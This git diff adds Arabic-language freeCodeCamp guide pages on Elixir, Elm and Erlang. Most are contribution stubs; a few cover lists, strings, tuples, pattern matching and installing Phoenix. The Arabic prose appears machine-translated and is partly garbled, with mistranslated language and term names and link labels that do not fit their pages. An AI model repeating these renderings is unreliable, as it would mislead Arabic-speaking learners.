diff --git a/client/src/guide/arabic/elixir/genstage/index.md b/client/src/guide/arabic/elixir/genstage/index.md
new file mode 100644
index 0000000000..24d143a84d
--- /dev/null
+++ b/client/src/guide/arabic/elixir/genstage/index.md
@@ -0,0 +1,11 @@
+---
+title: Genstage
+localeTitle: الطابق جينز
+---
+## Genstage
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/elixir/genstage/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/elixir/iex-helpers/index.md b/client/src/guide/arabic/elixir/iex-helpers/index.md
new file mode 100644
index 0000000000..4734ea355f
--- /dev/null
+++ b/client/src/guide/arabic/elixir/iex-helpers/index.md
@@ -0,0 +1,11 @@
+---
+title: IEX Helpers
+localeTitle: المساعدون IEX
+---
+## المساعدون IEX
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/elixir/iex-helpers/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/elixir/iex/index.md b/client/src/guide/arabic/elixir/iex/index.md
new file mode 100644
index 0000000000..5e593cac41
--- /dev/null
+++ b/client/src/guide/arabic/elixir/iex/index.md
@@ -0,0 +1,11 @@
+---
+title: IEX
+localeTitle: IEX
+---
+## IEX (الوضع التفاعلي)
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/elixir/iex/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/elixir/index.md b/client/src/guide/arabic/elixir/index.md
new file mode 100644
index 0000000000..d6e742c6cf
--- /dev/null
+++ b/client/src/guide/arabic/elixir/index.md
@@ -0,0 +1,7 @@
+---
+title: Elixir
+localeTitle: جوهر الشىء
+---
+## جوهر الشىء
+
+Elixir هي لغة برمجة ديناميكية وظيفية تم إنشاؤها لتشغيلها على الجهاز الافتراضي Erlang (BEAM). تُعرف الإكسير بكونها لغة متزامنة وعامة الغرض والتي غالباً ما تستفيد من إطار فينيكس القوي. تم إنشاء هذه اللغة بواسطة خوسيه فليم ، وقد تأثرت بلغات مثل روبي ، وإرلانغ ، والإغلاق.
\ No newline at end of file
diff --git a/client/src/guide/arabic/elixir/keyword-lists/index.md b/client/src/guide/arabic/elixir/keyword-lists/index.md
new file mode 100644
index 0000000000..222ef2a4ea
--- /dev/null
+++ b/client/src/guide/arabic/elixir/keyword-lists/index.md
@@ -0,0 +1,11 @@
+---
+title: Keyword Lists
+localeTitle: قوائم الكلمات الرئيسية
+---
+## قوائم الكلمات الرئيسية
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/elixir/keyword-lists/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/elixir/lists/index.md b/client/src/guide/arabic/elixir/lists/index.md
new file mode 100644
index 0000000000..c5c3d72aed
--- /dev/null
+++ b/client/src/guide/arabic/elixir/lists/index.md
@@ -0,0 +1,39 @@
+---
+title: Lists
+localeTitle: قوائم
+---
+## قوائم
+
+في الإكسير ، القوائم هي هياكل بيانات تتألف من قيم داخل أقواس مربعة. يمكن أن تكون القيم في القائمة أي نوع.
+
+ `iex> [1, "string", true] 
+ [1, "string", true] 
+` 
+
+## ثبات
+
+هياكل البيانات في Elixir غير قابلة للتغيير ، لذا فإن أي عمليات يتم تنفيذها في قائمة ستعيد قائمة جديدة ، تاركة الأصلي سليمة.
+
+ `iex> list = [1, "string", true] 
+ [1, "string", true] 
+ iex> list ++ [2] 
+ [1, "string", true, 2] 
+ iex> list 
+ [1, "string", true] 
+` 
+
+## رؤساء والذيول
+
+يمكن الوصول بسهولة إلى الرأس (العنصر الأول) من القائمة والذيل (القيم المتبقية) مع مشغلي `hd/1` و `tl/1` .
+
+ `iex> list = [1, "string", true] 
+ iex> hd(list) 
+ 1 
+ iex> tl(list) 
+ ["string", true] 
+` 
+
+#### معلومات اكثر:
+
+*   [elixir-lang.org | العودية](https://elixir-lang.org/getting-started/basic-types.html#linked-lists)
+*   [hexdocs | التعداد](https://hexdocs.pm/elixir/List.html)
\ No newline at end of file
diff --git a/client/src/guide/arabic/elixir/maps/index.md b/client/src/guide/arabic/elixir/maps/index.md
new file mode 100644
index 0000000000..c47b7a91f0
--- /dev/null
+++ b/client/src/guide/arabic/elixir/maps/index.md
@@ -0,0 +1,11 @@
+---
+title: Maps
+localeTitle: خرائط
+---
+## خرائط
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/elixir/maps/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/elixir/meta-programming/index.md b/client/src/guide/arabic/elixir/meta-programming/index.md
new file mode 100644
index 0000000000..6594ae1d7a
--- /dev/null
+++ b/client/src/guide/arabic/elixir/meta-programming/index.md
@@ -0,0 +1,11 @@
+---
+title: Meta Programming
+localeTitle: برمجة ميتا
+---
+## برمجة ميتا
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/elixir/meta-programming/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/elixir/mix/index.md b/client/src/guide/arabic/elixir/mix/index.md
new file mode 100644
index 0000000000..28b1245e12
--- /dev/null
+++ b/client/src/guide/arabic/elixir/mix/index.md
@@ -0,0 +1,11 @@
+---
+title: Mix
+localeTitle: مزج
+---
+## مزج
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/elixir/mix/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/elixir/mnesia/index.md b/client/src/guide/arabic/elixir/mnesia/index.md
new file mode 100644
index 0000000000..1b0051d2c5
--- /dev/null
+++ b/client/src/guide/arabic/elixir/mnesia/index.md
@@ -0,0 +1,11 @@
+---
+title: Mnesia
+localeTitle: Mnesia
+---
+## Mnesia
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/elixir/mnesia/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/elixir/modules/index.md b/client/src/guide/arabic/elixir/modules/index.md
new file mode 100644
index 0000000000..6f4c336d25
--- /dev/null
+++ b/client/src/guide/arabic/elixir/modules/index.md
@@ -0,0 +1,11 @@
+---
+title: Modules
+localeTitle: وحدات
+---
+## وحدات
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/elixir/modules/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/elixir/operations/index.md b/client/src/guide/arabic/elixir/operations/index.md
new file mode 100644
index 0000000000..2c16103a17
--- /dev/null
+++ b/client/src/guide/arabic/elixir/operations/index.md
@@ -0,0 +1,11 @@
+---
+title: Operations
+localeTitle: عمليات
+---
+## عمليات
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/elixir/operations/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/elixir/otp-concurrency/index.md b/client/src/guide/arabic/elixir/otp-concurrency/index.md
new file mode 100644
index 0000000000..96f314d311
--- /dev/null
+++ b/client/src/guide/arabic/elixir/otp-concurrency/index.md
@@ -0,0 +1,11 @@
+---
+title: OTP Concurrency
+localeTitle: تزامن OTP
+---
+## تزامن OTP
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/elixir/otp-concurrency/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/elixir/otp-supervisors/index.md b/client/src/guide/arabic/elixir/otp-supervisors/index.md
new file mode 100644
index 0000000000..602d8db236
--- /dev/null
+++ b/client/src/guide/arabic/elixir/otp-supervisors/index.md
@@ -0,0 +1,11 @@
+---
+title: OTP Supervisors
+localeTitle: المدربين OTP
+---
+## المدربين OTP
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/elixir/otp-supervisors/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/elixir/pattern-matching/index.md b/client/src/guide/arabic/elixir/pattern-matching/index.md
new file mode 100644
index 0000000000..2187bd2135
--- /dev/null
+++ b/client/src/guide/arabic/elixir/pattern-matching/index.md
@@ -0,0 +1,39 @@
+---
+title: Pattern Matching
+localeTitle: نمط مطابقة
+---
+## نمط مطابقة
+
+مطابقة الأنماط هي تقنية يرثها الإكسير من إرلانج. إنها تقنية قوية للغاية تسمح لنا باستخراج بنى تحتية أبسط من هياكل البيانات المعقدة مثل القوائم ، الصفوف ، الخرائط ، إلخ.
+
+تحتوي المباراة على جزأين رئيسيين ، الجانب الأيسر والجانب الأيمن. الجانب الأيمن هو بنية بيانات من أي نوع. يحاول الجانب الأيسر مطابقة هيكل البيانات على الجانب الأيمن وإلزام أي متغيرات على اليسار بهيكل فرعي على اليمين. في حالة عدم العثور على تطابق ، يقوم المشغل برفع خطأ.
+
+أبسط تطابق هو متغير وحيد على اليسار وأي بنية بيانات على اليمين. هذا المتغير سوف يتطابق مع أي شيء. فمثلا:  
+`x = 12`  
+`x = "Hello"`  
+`IO.puts(x)`
+
+يمكنك وضع المتغيرات داخل بنية بحيث يمكنك التقاط بنية تحتية. فمثلا:  
+`[var_1, _unused_var, var_2] = [{"First variable"}, 25, "Second variable" ]`  
+`IO.puts(var_1)`  
+`IO.puts(var_2)`
+
+سيخزن هذا القيم ، `{"First variable"}` في var _1 و `"Second variable"` في var_ 2. كما يوجد متغير \_ خاص (أو متغيرات مسبوقة بـ '\_') تعمل تمامًا مثل المتغيرات الأخرى ولكنها تخبر elixir ، "تأكد من وجود شيء ما هنا ، ولكن لا يهمني بالضبط ما هو عليه." في المثال السابق ، كان \_unused\_var أحد هذه المتغيرات.
+
+يمكننا مطابقة الأنماط المعقدة باستخدام هذه التقنية. على سبيل المثال ، إذا كنت تريد إزالة الرقم والحصول عليه في مجموعة ضمن قائمة موجودة في قائمة ، فيمكنك استخدام الأمر التالي:  
+`[_, [_, {a}]] = ["Random string", [:an_atom, {24}]]`  
+`IO.puts(a)`
+
+البرنامج أعلاه يولد النتيجة التالية -  
+`24`
+
+سيتم ربط هذا إلى 24. يتم تجاهل القيم الأخرى عند استخدام '\_'.
+
+في مطابقة النمط ، إذا استخدمنا متغيرًا على اليمين ، فسيتم استخدام قيمته. إذا كنت ترغب في استخدام قيمة متغير على اليسار ، فستحتاج إلى استخدام مشغل الدبوس.
+
+على سبيل المثال ، إذا كان لديك متغير "a" به قيمة 25 وتريد مطابقته مع متغير آخر "b" به قيمة 25 ، فأنت بحاجة إلى إدخال -  
+`a = 25`  
+`b = 25`  
+`^a = b`
+
+يتطابق السطر الأخير مع القيمة الحالية لـ ، بدلاً من تعيينها ، إلى قيمة b. إذا كان لدينا مجموعة غير متطابقة من الجانب الأيسر والأيمن ، فإن مشغل المطابقة يثير خطأ. على سبيل المثال ، إذا حاولنا مطابقة المجموعة مع قائمة أو قائمة بالحجم 2 مع قائمة بالحجم 3 ، فسيتم عرض خطأ.
\ No newline at end of file
diff --git a/client/src/guide/arabic/elixir/phoenix/index.md b/client/src/guide/arabic/elixir/phoenix/index.md
new file mode 100644
index 0000000000..361b818490
--- /dev/null
+++ b/client/src/guide/arabic/elixir/phoenix/index.md
@@ -0,0 +1,46 @@
+---
+title: Phoenix
+localeTitle: عنقاء
+---
+## ما هو فينيكس
+
+فينيكس هو إطار تطوير الويب المكتوب في الإكسير والذي أنشأه كريس ماكورد. يطبق هذا الإطار مفتوح المصدر نمط MVC من جانب الخادم ، ولديه العديد من أوجه التشابه مع أطر الويب الأخرى مثل Ruby on Rails أو Django for Python. تمت كتابة فينيكس مع التركيز على كونها صديقة للمطورين ، بينما تتميز أيضًا بإنتاجية رائعة وأداء عالي للتطبيقات. يشتمل إطار عمل Phoenix على بعض الميزات القوية جدًا مثل "القنوات" للتعامل مع الاتصالات في الوقت الفعلي و Ecto ، وهي أداة رائعة لـ ORM (Object Relational Mapping).
+
+## تثبيت فينيكس
+
+تركيب فينيكس بسيط نسبيًا ، ولكن قبل أن نتمكن من ذلك ، سنحتاج إلى التأكد من أن Elixir ومدير حزمة Hex و Erlang يعملان بالفعل على نظامنا. يحتوي موقع Elixir على [دليل تركيب](https://elixir-lang.org/install.html) رائع لكل من Elixir و Erlang. بمجرد إعداد هذه البرامج بنجاح ، قم ببساطة بتشغيل:
+
+ `$ mix local.hex 
+` 
+
+لتثبيت مدير حزمة Hex ، ثم قم بتثبيت تشغيل أرشيف Phoenix:
+
+ `$ mix archive.install https://github.com/phoenixframework/archives/raw/master/phx_new.ez 
+` 
+
+## إنشاء تطبيق Phoenix:
+
+1.  بعد تثبيت تطبيق Phoenix ، يكون إنشاء تطبيق أمرًا بسيطًا:
+
+ `$ mix phx.new <application_name> 
+` 
+
+2.  تشغيل هذا الأمر مع إنشاء بنية دليل وجميع الملفات الأساسية المطلوبة مع اسم _التطبيق_ الذي استخدمته في الأمر السابق. ستتم مطالبتك بعد ذلك بتثبيت اعتماديات أساسية للتطبيق ، لذلك سنقول نعم لذلك.
+    
+3.  بعد ذلك ، سيُطلب منك التغيير إلى دليل مشروعنا:
+    
+
+ `$ cd <application_name> 
+` 
+
+4.  افتراضياً ، يفترض Phoenix أننا سنستخدم PostgreSQL لتطبيقنا مع اسم مستخدم وكلمة مرور لـ 'postgres'. إذا لم يكن الأمر كذلك ، فستحتاج إلى تغيير التكوين - وإلا فكل ما نحتاج إليه هو إنشاء قاعدة البيانات الخاصة بنا:
+
+ `$ mix ecto.create 
+` 
+
+5.  أخيرًا ، سنبدأ خادمنا:
+
+ `$ mix phx.server 
+` 
+
+6.  الآن ، قف في متصفحك وانتقل إلى localhost: 4000 وشاهد صفحة الترحيب! تهانينا ، لقد حصلت على تطبيق Phoenix للعمل.
\ No newline at end of file
diff --git a/client/src/guide/arabic/elixir/pipe-operator/index.md b/client/src/guide/arabic/elixir/pipe-operator/index.md
new file mode 100644
index 0000000000..410e0d67a0
--- /dev/null
+++ b/client/src/guide/arabic/elixir/pipe-operator/index.md
@@ -0,0 +1,11 @@
+---
+title: Pipe Operator
+localeTitle: مشغل الأنابيب
+---
+## مشغل الأنابيب
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/elixir/pipe-operator/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/elixir/plug/index.md b/client/src/guide/arabic/elixir/plug/index.md
new file mode 100644
index 0000000000..4cbecb8bff
--- /dev/null
+++ b/client/src/guide/arabic/elixir/plug/index.md
@@ -0,0 +1,11 @@
+---
+title: Plug
+localeTitle: قابس كهرباء
+---
+## قابس كهرباء
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/elixir/plug/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/elixir/protocols/index.md b/client/src/guide/arabic/elixir/protocols/index.md
new file mode 100644
index 0000000000..30e49dd857
--- /dev/null
+++ b/client/src/guide/arabic/elixir/protocols/index.md
@@ -0,0 +1,11 @@
+---
+title: Protocols
+localeTitle: بروتوكولات
+---
+## بروتوكولات
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/elixir/protocols/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/elixir/sigils/index.md b/client/src/guide/arabic/elixir/sigils/index.md
new file mode 100644
index 0000000000..60b843faa3
--- /dev/null
+++ b/client/src/guide/arabic/elixir/sigils/index.md
@@ -0,0 +1,11 @@
+---
+title: Sigils
+localeTitle: Sigils
+---
+## Sigils
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/elixir/sigils/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/elixir/specifications-and-types/index.md b/client/src/guide/arabic/elixir/specifications-and-types/index.md
new file mode 100644
index 0000000000..af99b11b78
--- /dev/null
+++ b/client/src/guide/arabic/elixir/specifications-and-types/index.md
@@ -0,0 +1,11 @@
+---
+title: Specifications and Types
+localeTitle: المواصفات والأنواع
+---
+## المواصفات والأنواع
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/elixir/specifications-and-types/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/elixir/strings/index.md b/client/src/guide/arabic/elixir/strings/index.md
new file mode 100644
index 0000000000..6550aaf063
--- /dev/null
+++ b/client/src/guide/arabic/elixir/strings/index.md
@@ -0,0 +1,34 @@
+---
+title: Strings
+localeTitle: سلاسل
+---
+## سلاسل
+
+يتم التفاف سلاسل في الإكسير مع علامات اقتباس مزدوجة ، في حين يتم سرد القوائم الفردية. هم الثنائيات المشفرة UTF-8.
+
+ `iex> "Hello world!" 
+ "Hello world!" 
+` 
+
+سلسلة الاستيفاء ممكن في الإكسير مع octothorp تليها الأقواس المجعد.
+
+ `iex> variable = "world!" 
+ "world!" 
+ iex> "Hello #{variable}" 
+ "Hello world!" 
+` 
+
+تحتوي الوحدة النمطية السلسلة على العديد من الوظائف المضمنة المفيدة استنادًا إلى معيار Unicode.
+
+ `iex> example = "string" 
+ "string" 
+ iex> String.capitalize(example) 
+ "String" 
+ iex> String.duplicate(example, 2) 
+ "stringstring" 
+` 
+
+#### معلومات اكثر:
+
+*   [elixir-lang.org | العودية](https://elixir-lang.org/getting-started/basic-types.html#strings)
+*   [hexdocs | التعداد](https://hexdocs.pm/elixir/String.html)
\ No newline at end of file
diff --git a/client/src/guide/arabic/elixir/testing/index.md b/client/src/guide/arabic/elixir/testing/index.md
new file mode 100644
index 0000000000..744494f3b8
--- /dev/null
+++ b/client/src/guide/arabic/elixir/testing/index.md
@@ -0,0 +1,11 @@
+---
+title: Testing
+localeTitle: اختبارات
+---
+## اختبارات
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/elixir/testing/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/elixir/tuples/index.md b/client/src/guide/arabic/elixir/tuples/index.md
new file mode 100644
index 0000000000..4a271004dd
--- /dev/null
+++ b/client/src/guide/arabic/elixir/tuples/index.md
@@ -0,0 +1,34 @@
+---
+title: Tuples
+localeTitle: الصفوف
+---
+## الصفوف
+
+في الإكسير ، الصفوف هي بنية بيانات يمكنها الاحتفاظ بأي قيمة أو خليط من الأنواع. يتم تعريف المجموعات بواسطة الأقواس المتعرجة ، وتبدأ الفهارس الخاصة بها من 0. ولما كانت الصفوف يتم تخزينها بشكل متقارب في الذاكرة ، فإن الحصول على البيانات منها هو عملية سريعة جدًا.
+
+ `iex> tuple = {:atom, "string"} 
+ {:atom, "string"} 
+ iex> elem(tuple, 0) 
+ :atom 
+` 
+
+## ثبات
+
+تعتبر الصفوف في Elixir غير قابلة للتغيير ، لذا فإن إجراء تعديلات سيؤدي إلى ظهور مجموعة جديدة تمامًا - مما يوفر النص الأصلي في الذاكرة.
+
+ `iex> tuple = {:atom, "string"} 
+ {:atom, "string"} 
+ iex> put_elem(tuple, 1, true) 
+ {:atom, true} 
+ iex> tuple 
+ {:atom, "string"} 
+` 
+
+## نمط مطابقة
+
+الاستخدام الأكثر شيوعًا للصفوف في الإكسير هو بمثابة عودة لوظيفة. على سبيل المثال: `{:ok, "Hello World\n"}` هذا أمر مفيد للغاية ، لأنه يتيح استخدام مطابقة الأنماط للتعامل مع هذه العوائد.
+
+#### معلومات اكثر:
+
+*   [elixir-lang.org | العودية](https://elixir-lang.org/getting-started/basic-types.html#tuples)
+*   [hexdocs | التعداد](https://hexdocs.pm/elixir/Tuple.html)
\ No newline at end of file
diff --git a/client/src/guide/arabic/elixir/umbrella-projects/index.md b/client/src/guide/arabic/elixir/umbrella-projects/index.md
new file mode 100644
index 0000000000..746f543311
--- /dev/null
+++ b/client/src/guide/arabic/elixir/umbrella-projects/index.md
@@ -0,0 +1,11 @@
+---
+title: Umbrella Projects
+localeTitle: مشاريع مظلة
+---
+## مشاريع مظلة
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/elixir/umbrella-projects/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/elm/arrays/index.md b/client/src/guide/arabic/elm/arrays/index.md
new file mode 100644
index 0000000000..507e8c99f9
--- /dev/null
+++ b/client/src/guide/arabic/elm/arrays/index.md
@@ -0,0 +1,11 @@
+---
+title: Arrays
+localeTitle: المصفوفات
+---
+## المصفوفات
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/elm/arrays/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/elm/date/index.md b/client/src/guide/arabic/elm/date/index.md
new file mode 100644
index 0000000000..e18fc293f3
--- /dev/null
+++ b/client/src/guide/arabic/elm/date/index.md
@@ -0,0 +1,11 @@
+---
+title: Date
+localeTitle: تاريخ
+---
+## تاريخ
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/elm/date/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/elm/index.md b/client/src/guide/arabic/elm/index.md
new file mode 100644
index 0000000000..8e14a305a3
--- /dev/null
+++ b/client/src/guide/arabic/elm/index.md
@@ -0,0 +1,7 @@
+---
+title: Elm
+localeTitle: علم
+---
+## خشب الدردار
+
+Elm هي لغة برمجة خاصة ببرمجة خاصة ومجانية والتي تتحول إلى Javascript. تم كتابة لغة البرمجة هذه بشكل ثابت ، وتم تطويرها مع التركيز على سهولة الاستخدام والأداء والمتانة. تم بناء Elm من قبل Evan Czaplicki في عام 2012 ، وتأثرت بـ Haskell و Standard ML و OCaml وغيرها. كما ساعد على إلهام أداة إدارة الدولة الشعبية ، Redux.
\ No newline at end of file
diff --git a/client/src/guide/arabic/elm/list/index.md b/client/src/guide/arabic/elm/list/index.md
new file mode 100644
index 0000000000..18f056e76b
--- /dev/null
+++ b/client/src/guide/arabic/elm/list/index.md
@@ -0,0 +1,11 @@
+---
+title: List
+localeTitle: قائمة
+---
+## قائمة
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/elm/list/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/elm/process/index.md b/client/src/guide/arabic/elm/process/index.md
new file mode 100644
index 0000000000..18e11d7e52
--- /dev/null
+++ b/client/src/guide/arabic/elm/process/index.md
@@ -0,0 +1,11 @@
+---
+title: Process
+localeTitle: معالجة
+---
+## معالجة
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/elm/process/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/elm/random/index.md b/client/src/guide/arabic/elm/random/index.md
new file mode 100644
index 0000000000..dfdbb4c7c4
--- /dev/null
+++ b/client/src/guide/arabic/elm/random/index.md
@@ -0,0 +1,11 @@
+---
+title: Random
+localeTitle: عشوائية
+---
+## عشوائية
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/elm/random/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/elm/strings/index.md b/client/src/guide/arabic/elm/strings/index.md
new file mode 100644
index 0000000000..aa397d9dd4
--- /dev/null
+++ b/client/src/guide/arabic/elm/strings/index.md
@@ -0,0 +1,11 @@
+---
+title: Strings
+localeTitle: سلاسل
+---
+## سلاسل
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/elm/strings/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/elm/task/index.md b/client/src/guide/arabic/elm/task/index.md
new file mode 100644
index 0000000000..80da02ae8b
--- /dev/null
+++ b/client/src/guide/arabic/elm/task/index.md
@@ -0,0 +1,11 @@
+---
+title: Task
+localeTitle: مهمة
+---
+## مهمة
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/elm/task/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/elm/tuples/index.md b/client/src/guide/arabic/elm/tuples/index.md
new file mode 100644
index 0000000000..a83b94a988
--- /dev/null
+++ b/client/src/guide/arabic/elm/tuples/index.md
@@ -0,0 +1,11 @@
+---
+title: Tuples
+localeTitle: الصفوف
+---
+## الصفوف
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/elm/tuples/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/erlang/index.md b/client/src/guide/arabic/erlang/index.md
new file mode 100644
index 0000000000..8653d666e5
--- /dev/null
+++ b/client/src/guide/arabic/erlang/index.md
@@ -0,0 +1,78 @@
+---
+title: Erlang
+localeTitle: إرلانج
+---
+## إرلانج
+
+Erlang هي لغة برمجة وظيفية تم تطويرها بواسطة Ericsson لاستخدامها في تطبيقات الاتصالات. لأنهم شعروا أنه من غير المقبول أن يكون لنظام الاتصالات أي توقف كبير ، فقد بني Erlang ليكون (من بين أشياء أخرى):
+
+*   الموزعة والمتسامحة مع الخطأ _(يجب ألا يؤدي استخدام أحد البرامج أو الأجهزة الفاشلة إلى تراجع النظام)_
